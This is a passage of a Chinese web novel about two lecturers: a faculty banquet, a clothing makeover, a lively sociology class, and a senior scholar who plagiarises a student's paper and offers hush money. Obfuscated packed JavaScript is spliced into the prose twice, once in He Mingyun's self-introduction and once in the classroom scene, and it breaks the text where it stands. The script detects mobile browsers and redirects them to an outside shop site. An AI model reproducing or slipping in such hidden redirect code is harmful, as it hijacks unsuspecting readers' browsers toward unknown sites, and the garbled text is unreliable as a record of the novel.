明明其他男教授都没有出力,女教授都在外面参加妇联活动、没有亲历事件,却能聚在这里批评学生、给贺鸣云倒油。 而贺鸣云沉默寡言,三棒子打不出个屁来,任由几个教授三人成虎,也不知道为自己说两句话,更不要说邀功了。清高是清高了,净受些窝囊气。清高有什么用啊? 狗血剧从小看到大,江无远最讨厌的就是主角被误会、却不为自己澄清这种情节,每次她都恨不得冲进电视里主持公道,还要狠狠教训一顿小白花主角:“你嘴巴长来干嘛的?给我解释啊你!” 梁慕橙,你快说你是为了任光晞好才被迫离开他的啊!快说小乐就是他的儿子啊! 赵默笙,你快说你是假结婚啊!你干嘛要先说你结婚了啊! 赵灵儿,你快说你是女娲后裔!你还爱李逍遥啊! “江老师?江老师?你怎么了?” 江无远回过神来,尴尬地摇摇头:“没什么,童年走马灯,一不小心思维发散出去了。走,姐姐给你出气去。” 贺鸣云乖巧地跟在身后,小声嘟囔:“你不是比我小吗……” 一群人刚好说到学生施暴,踩断了胡教授的脚脖子,听得江无远火气蹭蹭往上蹿。 “谁说的?你们怎么知道的?”江无远挤进去,大声插嘴,“现场当时就只有我、贺教授、张教授、胡教授和学生,你们不都躲在会议室里没出面吗?” 几个女教授眼明心亮,一看李教授等人支支吾吾的样子,心里就明白了几分。 方教授问她:“江教授,当时你也在吗?” “是的,刚好和这个学生有过联系,知道情况后我也过去了。” ——事实情况是贺鸣云给她回了个电话,告诉了她最新情况和交战地点,她跑得又快,才刚好赶上。没错,好男人就是在生死追击战中,都会及时回电话的。 江无远充分发挥她作为大网红的专业技能,把一场无聊又荒唐的闹剧讲得绘声绘色,并进行适当的添油加醋,立起了贺鸣云爱护学生、保护同事的最美逆行者形象。 “总之,多亏贺教授,学生保住了学籍,老师保住了性命,社科院保住了颜面。” 贺鸣云听得目瞪口呆,他除了吭哧吭哧跑了几圈,叽里咕噜说教了一通,屁股被划了个口子,也没干什么了不起的事啊?怎么给江老师一宣传,他都可以加入漫威宇宙当超级英雄了。 江无远还在叭叭说:“当时很危险,为了救张教授和胡教授,贺教授都负伤了!见血了!” 几位女教授心疼死了,把贺教授围起来: “小贺哪里受伤了?” “严重吗?看过医生没有?” “伤口怎么样了?给我们看看。” 贺鸣云汗如雨下:“额……是屁、屁股……不太方便……” 几位女教授对视一眼。 “屁股啊,屁股,唉,造了孽了,我们这工作性质,要经常用到屁股的呀。” “贺老师你知道痔疮坐垫吗?你买一个,这段时间先坐着,对伤口好。你要不嫌弃的话,我老公做痔疮手术后用过一个,明天我给你拿过来。” “屁股……屁股……那也还是给我们看看吧!” “对啊,屁股张力大,伤口裂开了怎么办?” ***** 贺鸣云好不容易摆脱她们的嘘寒问暖,(如果有人关心的话,他当然没给她们看屁股。)只见身段灵活的江老师已经在心理学院那一桌,和几个教授聊得火热。 可恶,心理学院明明应该属于理学院,干嘛来他们人文社科学院的晚宴凑热闹? 特别是那个冷恩哲,上次课题答辩完,当着他的面,主动来加江老师的微信,还说了一堆废话: “我很早就关注江老师的视频号啦,都是24级粉丝了。”——切,24级有什么了不起的,浪费点钱打赏就能刷等级。 “江老师的研究都很有趣,给我很大启发。”——哼,这句台词是他先说的,他看得明白江老师的研究吗他? “江老师,我最近在做公益广告共情传播方面的研究,有机会的话,很想和你合作。”——我才是江老师的合作伙伴,狗东西你撬谁墙角呢!? 江老师居然也没有立刻峻拒,只是委婉说了句:“有机会的话当然好,最近可能就没时间了,忙着和贺教授的合作课题。” 贺鸣云咬牙切齿,理了理头发,正要以正宫之姿登场,突然听得冷教授问:“贺教授挺闷的哦?” 江无远一点都没给他面子,点点头:“确实是根木头。” ***** 江无远找了半天,才看到贺鸣云缩在角落里,又摆上了那副“我讨厌你们所有人”的臭脸。 江无远知道,这是他的社交防御状态。 “怎么躲在这儿?”江无远开玩笑,“屁股被同事看啦?” “没有,是我的问题,”贺鸣云摇摇头,“融入不了这种其乐融融的氛围。” 怎么又矫情上了?江无远刚刚看他在自助餐台吃得老开心了。再说了—— 江无远轻描淡写:“你想融入吗?” 他其实不想,但难得江老师邀请……他偶尔还是想的。 “江老师,你真的不是因为同情我,才邀请我来的?” 江无远诧异于贺鸣云会说出这么偶像剧的台词。“你怎么代入壁花少年的角色啦?贺教授,你今晚的角色是花。” “……什么花?” “锦上添花的花。我也不在意融不融入的,不过来都来了,”江无远给他别上胸花,“我们就吃点好吃的,玩得开心点,见人说人话,见鬼说鬼话,怎么样?” 贺鸣云嘀嘀咕咕的:“那你还说我坏话……” “叽里咕噜说什么呢,走吗?” 贺鸣云没吭声,脸色还是不太好,到底是乖乖跟着江无远走了。给她个面子,她年纪小,偶尔说错话可以理解。 江无远一路把贺鸣云领到刚刚的冷教授一行面前。“冷教授,宋教授,贺教授在这儿呢。” 她看向贺鸣云,笑意盈盈:“刚刚冷教授在问我们的合作情况,我觉得合作很愉快,贺教授虽然闷点,又有点倔,但是聪明有条理,基础扎实,效率也很高,是我遇到过最好的学术伙伴。” 贺鸣云心里嘟囔,不是说我是木头吗?净会说好听的骗人。面上已经娇羞得不像话,默默红了耳朵。 冷恩哲疑惑地问他:“贺教授,你很热吗?” 贺鸣云白了他一眼,问问问,跟你很熟吗?福气都被你问没了。 ***** “好了,收拾完你的摊子来收拾我的,”江无远朝西南方向扬了扬下巴,“你要帮我对付个人,看到那边那个穿紫色西装的装货了吗?” 贺鸣云顺着江无远的指点看去,全场就那么一个穿紫色成套西装的,也不嫌热,死装货。 江无远低声介绍:“他是我读博时候的师兄,常建波,现在在京西大学当老师,还学我做自媒体,有八万多个粉丝。以前还妄想追我——” “不用介绍这么多,”贺鸣云打断她,“好人还是坏人?对你好还是不好?” “坏人。经常偷我的成果,说我的坏话,后来没追到我怀恨在心,对我更坏了,还抢了我出国交换的名额。” 贺鸣云咬了咬后槽牙:“懂了,走吧。” 常建波老早就看到江无远了,出于男人的自尊心以及师兄的自矜,一直在等着江无远主动上前打招呼。 他余光瞅着江无远吃了好多东西,又跟好几拨人聊得笑容满面,心里急死了,不会吧不会吧,师妹不会把我给忘了吧? 好在等了一个多小时,江无远还是主动朝他走过来了。哼,他就知道,师妹心里还是有他的。 “师妹!好久不见,还是这么漂亮,比视频里还漂亮!”常建波两步上前,想来个与西方接轨的贴面礼,却猛然察觉到江无远旁边这位大高个儿面色不虞,顿了顿,问,“这位是……?” 江无远还没开口,贺鸣云上前半步,和常建波握手。 “你好,贺鸣云, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250000|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江老师的同事,我们在一起写论文。江老师刚投了一篇C刊,写得很好。” 江无远诧异地看了他一眼,贺教授现在说话怎么这么不严谨了,一副吹嘘自家子涵的架势。 这篇论文是他们暑假一起写的,说是合写,贺鸣云真正开始研究的时间还要早半年,江无远作为二作,都觉得占了他点便宜。 常建波很惊讶:“哦?师妹投C刊了?我前两天还在想,怎么没见师妹的发表作品,想问问你要不要一起发论文呢。” 江无远朝他假笑了下:“师兄完成自己的考核任务都忙得四脚朝天的了,哪有功夫提携别人啊,我还是不给你添麻烦了。” 贺鸣云没她这么会阴阳怪气,他看了眼常建波递来的名片,朴实地问:“常老师是讲师,怎么带人发论文?还是京西大学有什么特殊政策?” 常建波被他噎了下:“贺老师方便交换下名片吗?” “我没有名片。” 江无远插嘴:“他有百度百科。” ***** 贺鸣云的百度百科是梅煜——贺鸣云带的第一个博士生——给他做的,梅煜对贺鸣云极其崇拜,都毕业了,还在兢兢业业地给老师维护词条,论文发表情况都给他实时更新着。 常建波点开百科,一眼看不到底,下意识对贺鸣云肃然起敬。 旋即又不由自主,心里浮起文人相轻的鄙夷,心说这家伙肯定后台很硬。 然后心情复杂地看了眼江无远,嫉妒她抱了根这么粗的大腿。 最后又想,哼,女人就是势利,这个姓贺的不就是会发论文嘛,江无远装得清高,还不是个唯利是图的家伙,还好当时没坚持追她,坏女人。 江无远懒得和他多说,找了个借口开溜。好在贺鸣云也没有社交礼仪,根本不打算和常建波寒暄,紧跟其后,护送着江老师走了。 “拿两杯酒,我在阳台等你。” 贺鸣云依言拿了两杯红酒,在露台找到在发呆的江无远:“江老师,你不高兴了?” “还好,就是看到常建波有点不爽,”江无远接过红酒,喝了一口,“其实我想象过很多次再见到他的场景。本来理想情况是,我靠自己发了很多论文,直接扔他脸上。把你搬出来实在是胜之不武,显得我还是很没用。” 贺鸣云很诚实:“这次投的论文确实不是你独立写的,但这是个很好的开始,你要给自己一点时间,几年后,会有的。” “我还不如你的博士生呢,小钟都发多少篇一作了?” 贺鸣云也不脸红,张口就来:“主要是你的导师不如我。” 江无远笑了:“贺教授都会安慰人啦?” “我是认真的。单论资质,小钟不比你强,你只是缺乏训练和指导,”贺鸣云想了想,说,“就像我上课也缺乏指导,在你帮忙以后,就有了进步。” 江无远点点头,又摇摇头:“我已经好久没正经写过学术论文了,其实有点后悔,前两年不应该完全放弃写的。” “现在开始也不晚,很多博士生的年纪和你也差不多大。我做不到的事,你来帮我。同样的,你不足的地方,让我来帮你。你觉得如何?” 这还是贺鸣云吗? 江无远偏头看他,只觉得此时此刻,老木头气宇轩昂、风光霁月,帅得惊天动地。 怎么回事,不就喝了两口红酒吗? 贺鸣云浑然不觉气氛的变化,马上开始煞风景,偏要提不开的那壶:“江老师,你跟常建波过节很深?” “读书时候的事了,就是抢署名、压榨后辈、背后造谣那些破事儿,只是当时年纪比较小,心态没现在好,加上读博读得也很不顺利,日积月累,积怨就深了。一两句话说不完,以后有空了慢慢跟你讲。” “好,我记住了,以后一定有空的。” 他说话怎么怪怪的? 江无远又问:“那你呢?” 贺鸣云迷茫地眨眨眼:“我怎么了?” “聚会玩得怎么样?屁股好点没?” “……能不能不提屁股这茬了?” 39. 改头换面 贺鸣云发来微信:“江老师,你有空吗?请帮我挑一下。” 贺教授自屁股负伤之后,突然展现出娇气的一面,不仅不摄入深色液体,一起吃饭也挑三拣四,这嫌没营养、那嫌油盐重的。 江无远没好气地回:“挑什么?外卖?别挑了,水煮鸡胸肉和西兰花最适合你。” 等了足足五分钟,对面才发来三张照片,是三套难看的衣服。 第一套:皱巴巴的白衬衣,搭屎黄色小脚裤。 第二套:黑色短袖搭牛仔裤,还是小脚裤。 第三套最猎奇,竟然是猪肝红色的polo衫搭配白色中裤,看起来像一坨呕吐物。 江无远简短回复:“第三套绝对不行,一、二套的上衣还行,小脚裤全扔了,重新搭。” 贺鸣云发来一句:“小脚裤怎么了?” 他是真的很疑惑,这是海澜之家导购员帮他精心挑选的,应季新品,都没打折,原价买的! 江无远已读不回。 贺鸣云屈服了,又过了二十分钟,发来重新搭配的三套: 第一套,皱巴巴的白衬衣,搭屎黄色的直筒裤。 第二套,白色短袖,搭屎黄色中裤。 第三套,黑色polo衫,搭白色长裤。 他屎黄色的裤子怎么这么多? 江无远的太阳穴突突直跳。学校就这么大,还都是人文社科专业的,她跟贺鸣云混熟之前,也不时在学校里打照面。之前她还暗自觉得贺鸣云衣品尚可,在冰洋大学帅哥榜上可以给到夯。 太可怕了,难道是因为脸好看,让她忽略了衣服,凭一脸之力带偏了她的审美? 江无远一个视频打过去,贺鸣云过了半天才接,显然十分慌乱:“额?能看见我吗?江老师你等下……” “你别这么紧张,我不看你,你按一下下面那个图标,转成后置摄像头,我看看你的衣柜。” “哦,不看我啊……”贺鸣云似乎还有点遗憾,嘟嘟囔囔地打开衣柜,“我衣服很少。” 衣柜里明明塞满了衣服。 江无远说:“你衣服不少,只是能穿出去的少。下次买衣服麻烦叫上我一起,不要瞎浪费钱。” 江无远尊重了他对屎黄色裤子的热爱,保留了屎黄色的直筒裤,又给他搭了件白背心,外面套浅蓝色的短袖衬衫。 贺鸣云很不高兴地抗议:“这叫卡其色。” 江无远理都不理他:“你挑衣服是因为明天是新学期第一节课,想给学生留个好印象?” 他竟然还露出了有点娇羞的表情:“嗯。” “课件定稿了吗?发我看看。” 贺鸣云就等着她问了,挂了视频电话马上就发了过来。江无远仔细看了一遍,做得还不错,比以前大有进步。 “挺好的,下期录网课也可以直接用。” 对面“正在输入中”许久,发过来一句:“不想再发布网课了。” 江无远:“为什么?怎么了?这次网课成绩不是挺好的吗?” 对面“正在输入中”更久了:“学生截我上网课的图,把我做成表情包。” 他甚至一反常态,发了个“愤怒”的表情包,以表达强烈的情绪。 江无远兴趣高涨:“什么表情包,发我看看。” 贺鸣云峻拒。 江无远也不再逼他,安慰道:“这怎么了?学生也做了很多我的表情包啊。” 她还给贺鸣云发了几个她的表情包过去。 对面迟迟没有回应。 江无远问:“气死了?” 贺鸣云回复:“你的表情包都很好看。” 过了半天,又发来一句幽怨的:“你的表情包,学生是带着尊敬和爱意做的。我的,他们是带着嘲笑和恨意做的。” 江无远笑得在床上打滚。 她滚完了,又给贺鸣云发微信:“等我给你做两个好看的。” 对面又在装死。 贺鸣云做什么事都一板一眼特别认真,江无远以前误会他了,以为他一心发论文赚功名、不在意教学。最近熟起来了才发现,贺鸣云也很在乎教学质量。之前被学生恶评催眠,已经够内耗了,好不容易鼓起勇气尝试直播和网课,又被做成表情包。娇男可能已经不行了,正在办公室躲着偷偷哭呢。 “行了,别委屈了,你以前上课他们都不搭理你,现在都开始给你做表情包了,这说明他们开始注意你了呀。谁说的来着,‘爱的反面不是恨,是漠不关心’。” 贺鸣云秒回:“才不是。” 江无远给他发了个他的表情包,这还是个动态表情包,贺教授一脸严肃地点点头,配文“我敢打包票”。 贺鸣云:“?这个表情包我怎么没见过?谁发你的?” 当然是江无远刚刚问钟若晚要的,小钟一口气给她发了五十多个贺鸣云的表情包,她统统笑纳。 江无远又发了个贺鸣云的“晚安”表情包过去:“睡了,晚安。” “哎,你别睡啊!” 江无远没敢说,她之前出于好奇和八卦,在学校BBS里搜“贺鸣云”“贺教授”“贺XX”“催眠杀手”,竟意外搜到了一套贺鸣云的助眠音频。 当然了,HMY0320本人是出于教学分享的好意发送的,他分享的是某堂比较难的专业课的课堂录音。但听起来属实是老登念经,十分难听,被灵感爆发的学生剪辑成了ASMR,催眠效果一流。 江无远美美戴上耳机,今晚注定又是一夜好眠。 ***** 贺鸣云翻来覆去睡不着。 三十岁之后,时间的流速明显变快。 特别是他这样每天都过得差不多的,体感更为明显。 每天吃一样的早餐,有课上课,没课写论文、做课题,每周健身四次,偶尔去爬爬山。生活波澜不惊,日子很快就过去了。 现在的生活说不上幸福开心,但也算是比较满意。就是总觉得少了些新意,少了些独特的体验。 他一度想,是他的精神已经垂垂老矣了吗?还是他一直在舒适圈打转,以至于忽略了其他的风景? 其他的风景…… 他悄悄收藏了江无远的表情包,心想,也许他应该更勇敢一点。 ***** 这是新学期的第一堂课,贺鸣云抬头看了眼坐在最后一排旁听的江无远。她一副没睡醒的样子,打了个哈欠,贺鸣云不禁微微一笑。 时隔许久,他竟然又体验到了几年前,第一次走上讲台时的紧张和兴奋。他很期待学生的反馈,也希望江老师给予他肯定。 江无远教他的,首先,要从生活趣事入手,吸引学生的注意力。 贺鸣云清了清嗓子,问:“同学们暑假过得怎么样?” 早八都还没睡醒,反响平平。 贺鸣云没有气馁,按照江无远的叮嘱,主动透露自己的生活趣事:“我暑假去逛了漫展。” 学生果然抬起了头:“您?漫展?” 贺鸣云优雅颔首:“是的。” “陪老婆?陪孩子?” 贺鸣云立刻澄清:“没有老婆,不生孩子。” “那跟谁去的?” 贺鸣云迟疑了一下,因为心虚,声音也有点飘忽:“和一个……朋友。” 在学生的起哄声里,贺鸣云负隅顽抗:“是我的合作伙伴,我们在做一个关于年轻人的课题。” “切~~~” 贺鸣云面无表情,铁血践行江无远的指示,继续推进课程:“正好,今天我们就从漫展讲起。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258631|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 学生面面相觑,啊?哪里正好了? “这学期我们要讲的,是如何选定研究课题,并匹配合适的研究方法。请同学们思考,关于漫展,可以有那些研究角度?” 贺鸣云老毛病又犯了,哪个学生和他有眼神接触,他就下意识点哪个学生的名。 “小钱同学,你来说说看?” 他又突然想起江无远的教导,补了句:“额,我记得你挺喜欢《灌篮高手》的?所以请你先说说看。” 小钱铁血直男,抵触一切BL元素:“老师,现在的漫展哪里有《灌篮高手》啊,都是乱嗑男男CP的异教徒啦!” 坐后边的女同学当场抗议:“怎么异教徒了?谁敢说樱木和流川枫不是灵魂知己、唯一真爱?” 小钱尖叫:“那是兄弟情、队友情啊!” 又一位异教徒横空出世,道:“仙道彰和流川枫才是王道啊。” 在失控的场面中,贺鸣云还是十分淡定,说:“大家看,这就是漫展可以延伸出一个研究视角:耽美和百合文化的公开表达。在漫展,哪怕原作没有这方面的展示,基于作品衍生的同性想象仍然被大规模地公开讨论和展示,这构成了一个独特的亚文化空间,相关爱好者能够进行相对自由的表达和社交。” 小钱毕业论文准备写严肃的乡村扶贫问题,闻言大惊:“社会学还研究这个?” 女同学也惊了:“贺老师,什么叫‘原作没有这方面的展示’?你怎么话里话外都在否定我CP的真实性啊?你是不是恐同啊?” “恐同怎么会去漫展啊?” “喂,不要歧视异性恋啊,漫展也有异性恋CP的!” “还有我们游戏党啊!” 学生热烈讨论,教室里充满了快活的空气。 江无远忍不住笑了,虽然和她教的完全两模两样,讲台上的贺鸣云也一副不知这泼天的富贵是从何而来的样子,但效果意外的还不错。 贺鸣云受到鼓励,侃侃而谈:“有同学去过漫展吗?去过的请举手。” 大约半数的学生举手。 贺鸣云说:“我这次是第一次去漫展,发现coser穿得都比较特别,奇装异服在漫展成为了常态,这是一场对日常着装规范的集体叛逆,并且形成了一套自成体系的评价体系。” 有学生接嘴:“比如是否还原角色,是否有新意。” 贺鸣云点头:“没错,从这个角度,我们可以做哪些研究?” “特殊场域中的临时越轨。” “亚文化圈子的审美。” “coser通过服装道具,短暂地扮演另一个角色,也属于一种身份构建?” “漫展上有国漫,有日漫,还有美漫画,超级英雄之类的,我觉得可以做全球化文化流动方面的研究。” 贺鸣云意外于学生的热情,又惊又喜,非常满意,千言万语尽在看向江老师的一个眼神中。他努力操纵面部肌肉,朝坐在最后一排的江老师wink了下。 江无远的脸微微发热,贺鸣云怎么该学的不学,光学这招媚粉了啊?帅哥要堕落真是太容易了。 为了掩饰尴尬,江无远朝他鼓励地笑笑,贺教授好生感动,却不知道江老师心里想的是,贺教授穿蓝色真好看,但是这条屎黄色的裤子必须扔了。 临近下课,贺鸣云犹豫了一下,说:“我想多说两句,最近学院发生的伤人事件,同学们可能听说了。遇到什么棘手的、想不通的事,可以来找我,我会尽力帮忙。” 不等学生反应,他又严肃补充道:“网上说我被砍了十七刀,用雨伞当降落伞从楼上跳下去,跳下去正好有辆坦克路过把我压扁了,我又自己给自己做心脏起搏,那都是假的。” 当然是假的,那是吴京和杰森·斯坦森! 40. 太岁头上 “导儿,打扰你一下?” 贺鸣云诧异地看了眼窗外,太阳好好地挂在东方,没打西边儿出来啊。 孽徒怎么亲自登门拜访,语气还这么客气,吃错药了? 钟若晚坐下,递给贺鸣云一份文件。 贺鸣云翻了几页就意识到大事不妙,他又翻回第一页,确认作者的姓名。 ——孔富顺。 京西大学社会学系泰斗,驰骋学术界三十多年,教出了不少高校领导和教授,稳占社会学研究山头之一的,那个孔富顺。 “你怎么发现的?” 钟若晚解释:“上次论文外审,外审专家提的意见比较多,我有点担心,就又在搜集最新的文献,想把论文做得更全面些。结果昨晚搜到了这个,孔富顺还没有正式发表论文,是在论坛上做了个简单演讲,这就是他的讲稿,刚发布出来。” 贺鸣云眉头紧皱:“你自己泡杯茶喝,让我先看完全文。” 孔富顺讲稿的核心论点和理论框架明显参考了钟若晚的论文,甚至一些特殊的表述都如出一辙。 不,这不是参考,这是剽窃。 钟若晚问:“导儿,你觉得呢?我想了一晚上,研究这个话题的确实不止我一个,孔富顺的分析很老辣,框架比我的搭得还要好,田野数据来源也和我不同。但我还是觉得他剽窃了我的论文,我猜测,他就是这一轮的外审专家之一,审稿的时候看到了我的文章。” “100%抄袭了你的论文。” 贺鸣云很少把话说得这么绝,钟若晚看得出来,他正在极力压抑怒火。 “导儿,接下来怎么办?” 贺鸣云一时难以回答。 孔富顺的洗稿手段相当高明,对论文进行了结构上的调整,全面替换了案例和田野数据,还有意将内容和自己之前的研究嵌套,摆出“我做的研究是一脉相承”的姿态。 不要说查重,就是专业人士,恐怕也很难断定抄袭行为成立。 更致命的是孔富顺的学界地位。从他洗稿的娴熟手段来看,恐怕这已经不是第一次抄袭,可至今没有任何相关丑闻爆出,背后的隐情不难推测。 学术圈本来就是个拜高踩低、藏污纳垢的地方,孔富顺的权威地位摆在那里,码头上都是他的学生,没有人敢轻易挑战。 贺鸣云按了按鼻梁,想安抚钟若晚,只挤出一句干巴巴的:“你……你先不要激动,不要生气,对乳腺不好。” 好别致的安慰方式,钟若晚无语道:“我知道,我又不是小学生,这点自我调节能力还是有的。” 贺鸣云又组织了半天语言,最后也只说出一句:“我知道了,我会处理的,你别冲动,等我消息。” ***** 马远征抓住重点,先问他:“你怎么知道孔富顺是外审专家的?” 为了避免学术腐败,论文外审采取双盲机制,审稿人不知道作者是谁,作者也不知道审稿人是谁。 贺鸣云为了钟若晚,不惜背叛自己的原则,私下找熟人帮忙打听了一圈,确定了孔富顺是论文的审稿人之一。 他怕挨骂,言简意赅:“纸包不住火,人在做天在看,反正我就是知道了。” 马远征头痛不已。孔富顺估计也没想到大水冲了倔驴庙,要是知道抄袭对象是贺鸣云这个刺头的学生,他怕是躲都来不及。 这小子才不管什么学术大牛,什么业内前辈,什么裙带关系,一身使不完的牛劲儿,谁惹他他就要撞死谁。 看吧,臭小子张嘴就是一句:“我需要你帮忙约见孔富顺,我们先私下谈一下这个事情。” 唯一值得庆幸的是,贺鸣云没私下去找孔富顺,情商好歹有了点长进,知道先来找他了。 ***** 孔富顺礼貌周到,直接登门拜访,到了马远征的办公室。 马远征事先威胁过贺鸣云,让他乖乖呆着,不到万不得已别说话。贺鸣云勉强答应了。 马远征把钟若晚的论文递给孔富顺,谨慎措辞:“孔院长,麻烦你过来一趟。情况就是我电话里说的,贺教授的学生论文,和你在论坛上的分享相似度很高,这是学生的论文——” 他还没说完,孔富顺惊讶道:“老马,这肯定是误会。我团队做这个研究已经快两年了,最近这个话题的热度挺高,可能是哪个学生在整理文献时,不小心参考了这位学生的某些想法,又忘了恰当引用,我回头一定严查。” 贺鸣云没忍住,说:“我学生的论文还没正式发表,也从来没在学会上分享过,我不认为你的学生能从正规渠道接触到她的论文。” 孔富顺依然淡定:“那就奇怪了,难道私下有过交流?还是本来就是巧合,根本不存在借鉴?” 他随意翻了翻钟若晚的论文,点评道:“写得不错,不过创新性也不算高。啊,贺教授,请别介意,我做这个研究很久了,难免要求高些。” 贺鸣云翻了个白眼,被马远征重重踢了一脚。 马远征递给贺鸣云一个警告的眼神,接过话茬:“孔院长,我理解你的疑虑,也许这确实是巧合,但对学生来说,哪怕只是疑似被抄袭,都是很大的打击。我们都是过来人,站在学院立场,不能轻轻放下。” 孔富顺点头:“当然,老马,我肯定会彻底调查团队,给你们个交代。这个学生博几了?” “马上博四,快毕业了。” 孔富顺喝了口普洱,慢条斯理接着说:“老马,小贺啊,我见过太多疑神疑鬼的学生了。学术不端这种争议,太耗费心神了,最后都是双输。这位同学正是毕业的关键期,这事真要闹起来,举证又难,流程又长,耽误找工作的黄金期,还影响声誉,圈子就这么小嘛,被误会是刺头就不好了。年轻人,前途经不起折腾啊。” 贺鸣云脸都气青了,孔富顺没有再激怒他,抛出了自认为很有诚意的和解方案。 贺鸣云愣住了,他给了一笔非常诱人的封口费。孔富顺给出的机会,他就是再努力五年,也很难为小钟争取到。 贺鸣云茫然地看了马远征一眼,马远征冲他点点头。 孔富顺露出一个志在必得的微笑:“都是自己人,关起门来说,圈子里不就是这样嘛,你帮帮我,我帮帮你,互相提携。只要这件事,这个误会……天知地知,你知我知,不要搞出什么麻烦,我当然会补偿这个学生的。这对她的发展,比一篇论文的虚名重要得多吧?” ***** 贺鸣云这一处理,就过去了一个星期。 整整一个星期,一点音讯都没有,钟若晚被磨得没了脾气,发去的明示暗示也都回音寥寥,问就是“在处理”“再等等”。 贺鸣云的指导风格一向是短平快,半夜给他发消息,只要是论文相关的,他都会秒回。这次竟然这么拖拉,搞得钟若晚心烦意乱。 师门学生里她年纪最大,不好向师妹们传导压力。这件事也不方便对其他博士生说,人多嘴杂,传开了不好处理。 要么给叶思汐打个电话?不对,梅师姐更合适。 钟若晚点开微信,对着梅煜的聊天对话框,许多思绪浮上心头,一时竟不知道该说点什么。 她们的最新一条聊天记录是梅煜发的:“找工作好难哦,我不想灰溜溜地回来,求导儿帮我介绍工作啊。[大哭.gif]” 钟若晚当时回了句“麻烦他就麻烦他呗,给老登找点事干”。 她们师门都是女生,贺鸣云没比她们大几岁,但因为作风老派,体感上像她们的爹。 大家也都觉得贺鸣云是无所不能的,是会边骂你“写的什么狗屁不通的”边帮你改好论文的,是会担心你的安全开车接送你去做田野调查的。 带梅煜的时候他才三十岁。梅煜被系里一个男老师骚扰,贺鸣云当时年 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她一五一十,把论文核心观点被剽窃的事说了。 肖飞飞大惊失色:“疯了吧?抄你的!?贺教授没去打他吗?” 方溯也难以置信:“贺教授那么讲原则,不可能放任这件事吧?” 钟若晚耸耸肩:“目前没什么表态。” 两人对视一眼,神色复杂。 钟若晚又说:“赶紧吃,别瞎操心,我就是憋在心里不舒服,找你们说说话。姐姐我老早达到毕业要求了,也不差这一篇论文,我会看着办的,你们别说出去啊。” 肖飞飞和方溯怎么可能会袖手旁观,她俩和钟若晚一分开,立马就把绝密消息透露给了江无远。当然,作为免责声明,她们也叮嘱了江老师“你千万别说出去”,秘密就是这么被谨慎地传播开来的。 师徒三人都是急性子热心肠,江无远也懒得浪费时间琢磨,直接一个电话打给贺鸣云。 “贺教授,我听说小钟论文被抄袭的事了。” 电话那头沉默了下,回应出乎江无远的预料:“我让她先保密,她怎么到处乱说?” 他语气很冲,仿佛重生在了故事第一章,江无远好久没面对过脾气这么差的贺鸣云了,被噎了下。 “心情郁闷,当然需要找人倾诉啊。而且小钟也没有到处乱说,我是偶然才知道的,我也没跟别人讲这件事……” “你想教我怎么处理这件事?” 天啊,贺鸣云又吃枪子儿了? 考虑到他心情应该也很糟糕,江无远大度地忍了。“当然不是,小钟是你的学生,而且你当博导的经验丰富,当然是你来处理。我只是……” 我只是关心你,和小钟。 “我只是,既然都知道了,那不可能再装不知道呀。就想问一下你的打算……如果方便的话?” 他俩最近关系不错,熟悉之后,交流起来也一向敞亮。江无远都快忘了,贺鸣云最开始就是个固执又傲慢的家伙,在面对巨大的压力时,人就容易暴露出最原始的缺点。 暴躁版本的贺教授叹了口气,说:“具体原因我不便解释,目前学院的处理建议是,放弃这篇论文,不再追究,私下和解。” 江无远不敢相信自己的耳朵。“那,你的建议呢?” “……和学院一致。” “你也不打算追究?真的?那小钟的意见呢?你不考虑吗?” 贺鸣云没有回答,只说:“我会自己告诉小钟的,希望你不要掺和。” 江无远的大度本来就是装的,这下彻底被踩到雷区了。 “什么叫我不要掺和?贺鸣云,你不是最讲原则最守规矩吗,你不是骨头硬头又铁吗?学生论文都被抄了,你在这儿糊弄鬼呢?你还好意思发脾气?” 41. 贝氏测试 江无远气得睡不着,噼里啪啦打字,给何回发微信: “小回,我现在遇到一个严重的问题。” “冰洋大学危在旦夕!” “关键词:职业道德,学术腐败,灰色地带,不法交易。” “事关一个二十出头的年轻女孩的终生幸福。” 何回一个语音电话打过来:“说吧,大胸教授又怎么了?” 江无远吓死了:“你怎么又知道了?” 何回早有预料。 以前她们的聊天内容主要为:骂领导,骂同事,看帅哥,约饭、约打球、约逛街,互相发网上刷到的可爱小猫小狗,互相安利好看的书和电影,吃明星塌房的瓜,以及许愿早日暴富。 自从江无远打破清规戒律,在微信里频频提起贺鸣云的那天起,何回就知道,可怕的异性恋病毒发作了,好闺蜜的思想开始滑坡了。 “虽然爱男是死罪,但你这次犯罪我也可以理解。你跟他一起做课题、一起写论文、一起录网课,相当于共同有了三个孩子。现在就流行这种,先孕后爱。” “我都懒得劝你少看点这些乱七八糟的了。首先,论文和课题都还没成——” “也算的,怀着,怀胎十月,快生了嘛,”何军师打断江无远,继续分析,“再加上之前会议室刺杀那一出,吊桥效应,爱上了也是人之常情。” 江无远表示抗议:“是我去救他,要吊桥也是贺鸣云吊吧?” “我不知道他吊没吊,反正他没辗转反侧睡不着,大半夜的给我发微信。你知道贝克德尔测试吗?” “什么东西?”江无远警惕地问,“不会是类似知网的东西吧?” “这么有名的测试都不知道,所以让你多看点影视作品,”何回科普道,“它就是三条规则,用来评估影视作品的女性角色塑造情况。” “哪三条?” 